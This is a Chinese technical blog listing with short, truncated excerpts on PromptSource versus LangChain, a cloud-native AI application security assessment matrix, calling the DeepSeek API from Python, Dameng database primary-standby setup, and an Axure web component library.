PromptSource和LangChain哪个更好

目录 1. 设计目标与定位 PromptSource LangChain 2. 功能对比 3. 优缺点分析 PromptSource LangChain 4. 如何选择&#xff1f; 5. 总结 PromptSource 和 LangChain 是两个在自然语言处理&#xff08;NLP&#xff09;领域非常有用的工具&#xff0c;但它们的设计目标和…...

AI安全最佳实践:AI云原生开发安全评估矩阵(下)

上篇小李哥带大家一起了解了什么是AI应用云原生开发安全评估矩阵&#xff0c;并且介绍了利用该矩阵如何确定我们云上AI应用的安全评估范围&#xff0c;接下来我们将继续本系列的下篇&#xff0c;基于该安全评估矩阵设计和实施我们系统应具备的安全控制。 优先考虑的安全控制 …...

Windows DeepSeek API调用基础教程-Python

DeepSeek API 调用&#x1f680; 在最近DeepSeek大火之后&#xff0c;在各个媒体上都能看到对这个大模型的报道&#xff0c;这个使用MoE的架构的大模型&#xff0c;在使用体验上&#xff0c;确实让我眼前一亮&#xff0c;我自己平时也是已经在用着GPT-o1&#xff0c;对比下来发…...

达梦数据库从单主模式转换为主备模式

目录标题 达梦数据库单主转主备配置笔记前期准备服务器环境数据库安装磁盘空间 流程流程图说明 详细步骤1. 检查主库归档模式2. 配置主库配置文件dm.ini 文件dmmal.ini 文件dmarch.ini 文件 3. 备份主库数据库4. 备库配置新建备库数据库配置备库配置文件dm.ini 文件复制主库的 …...

SpringUI Web高端动态交互元件库

Axure Web高端动态交互元件库是一个专为Web设计与开发领域设计的高质量资源集合&#xff0c;旨在加速原型设计和开发流程。以下是关于这个元件库的详细介绍&#xff1a; 一、概述 Axure Web高端动态交互元件库是一个集成了多种预制、高质量交互组件的工具集合。这些组件经过精…...